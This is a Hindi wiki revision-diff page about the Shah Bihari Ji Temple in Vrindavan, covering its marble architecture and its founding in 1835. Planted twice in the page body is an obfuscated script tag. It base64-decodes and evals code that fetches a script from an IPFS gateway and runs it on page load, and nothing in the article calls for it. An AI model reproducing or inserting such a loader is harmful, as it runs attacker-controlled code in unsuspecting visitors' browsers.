"शाह बिहारी जी मन्दिर" के अवतरणों में अंतर
आदित्य चौधरी (चर्चा | योगदान) छो (Text replace - '[[श्रेणी:' to '[[category:') |
|||
पंक्ति २: | पंक्ति २: | ||
{{Incomplete}} | {{Incomplete}} | ||
{{प्रसिद्घ वृन्दावन मंदिर}} | {{प्रसिद्घ वृन्दावन मंदिर}} | ||
− | ==शाह बिहारी जी मन्दिर / Shah Bihari Ji Temple== | + | ==शाह बिहारी जी मन्दिर / [[:en:Shah Bihari Ji Temple|Shah Bihari Ji Temple]]== |
[[चित्र:Shah-Ji-Temple-1.jpg|शाह जी का मन्दिर, [[वृन्दावन]]<br /> Shah Bihari Ji Temple, Vrindavan|thumb|250px]] | [[चित्र:Shah-Ji-Temple-1.jpg|शाह जी का मन्दिर, [[वृन्दावन]]<br /> Shah Bihari Ji Temple, Vrindavan|thumb|250px]] | ||
[[वृन्दावन]] के इस मन्दिर में वास्तुकला , [[चित्र कला|चित्रकला]], [[मूर्ति कला|मूर्तिकला]] का अद्भुत समन्वय हैं। श्वेत संगमरमर के इस अत्यन्त आकर्षक मन्दिर की विशेषता है कि इसके खम्बे सर्पाकार में एक ही पत्थर की शिला से निर्मित हैं । पत्थर में जड़ाऊ काम के चित्र भी यहां अद्भुत हैं । बसन्ती कमरा भी है । यहां वर्ष में अनेकों आकर्षक उत्सव होते हैं । लखनऊ निवासी सेठ कुन्दनलाल शाह ने 1835 ई॰ में मन्दिर का निर्माण प्रारम्भ किया। सफेद मकराना पत्थरों के द्वारा बहुत धन लगाकर इस भव्य मन्दिर का निर्माण कराया था। ये श्री[[चैतन्य महाप्रभु]] के अनन्य भक्त थे। यह मन्दिर वर्तमान समय में [[वृन्दावन]] के अतुल वैभव की साक्षी देता है। | [[वृन्दावन]] के इस मन्दिर में वास्तुकला , [[चित्र कला|चित्रकला]], [[मूर्ति कला|मूर्तिकला]] का अद्भुत समन्वय हैं। श्वेत संगमरमर के इस अत्यन्त आकर्षक मन्दिर की विशेषता है कि इसके खम्बे सर्पाकार में एक ही पत्थर की शिला से निर्मित हैं । पत्थर में जड़ाऊ काम के चित्र भी यहां अद्भुत हैं । बसन्ती कमरा भी है । यहां वर्ष में अनेकों आकर्षक उत्सव होते हैं । लखनऊ निवासी सेठ कुन्दनलाल शाह ने 1835 ई॰ में मन्दिर का निर्माण प्रारम्भ किया। सफेद मकराना पत्थरों के द्वारा बहुत धन लगाकर इस भव्य मन्दिर का निर्माण कराया था। ये श्री[[चैतन्य महाप्रभु]] के अनन्य भक्त थे। यह मन्दिर वर्तमान समय में [[वृन्दावन]] के अतुल वैभव की साक्षी देता है। | ||
पंक्ति १९: | पंक्ति १९: | ||
{{Vrindavan temple}} | {{Vrindavan temple}} | ||
__INDEX__ | __INDEX__ | ||
+ | [[en:Shah Bihari Ji Temple]] |
१०:४५, २१ फ़रवरी २०१० का अवतरण
<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>
पन्ना बनने की प्रक्रिया में है। आप इसको तैयार कर सकते हैं। हिंदी (देवनागरी) टाइप की सुविधा संपादन पन्ने पर ही उसके नीचे उपलब्ध है। |
<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>
शाह बिहारी जी मन्दिर / Shah Bihari Ji Temple
वृन्दावन के इस मन्दिर में वास्तुकला , चित्रकला, मूर्तिकला का अद्भुत समन्वय हैं। श्वेत संगमरमर के इस अत्यन्त आकर्षक मन्दिर की विशेषता है कि इसके खम्बे सर्पाकार में एक ही पत्थर की शिला से निर्मित हैं । पत्थर में जड़ाऊ काम के चित्र भी यहां अद्भुत हैं । बसन्ती कमरा भी है । यहां वर्ष में अनेकों आकर्षक उत्सव होते हैं । लखनऊ निवासी सेठ कुन्दनलाल शाह ने 1835 ई॰ में मन्दिर का निर्माण प्रारम्भ किया। सफेद मकराना पत्थरों के द्वारा बहुत धन लगाकर इस भव्य मन्दिर का निर्माण कराया था। ये श्रीचैतन्य महाप्रभु के अनन्य भक्त थे। यह मन्दिर वर्तमान समय में वृन्दावन के अतुल वैभव की साक्षी देता है।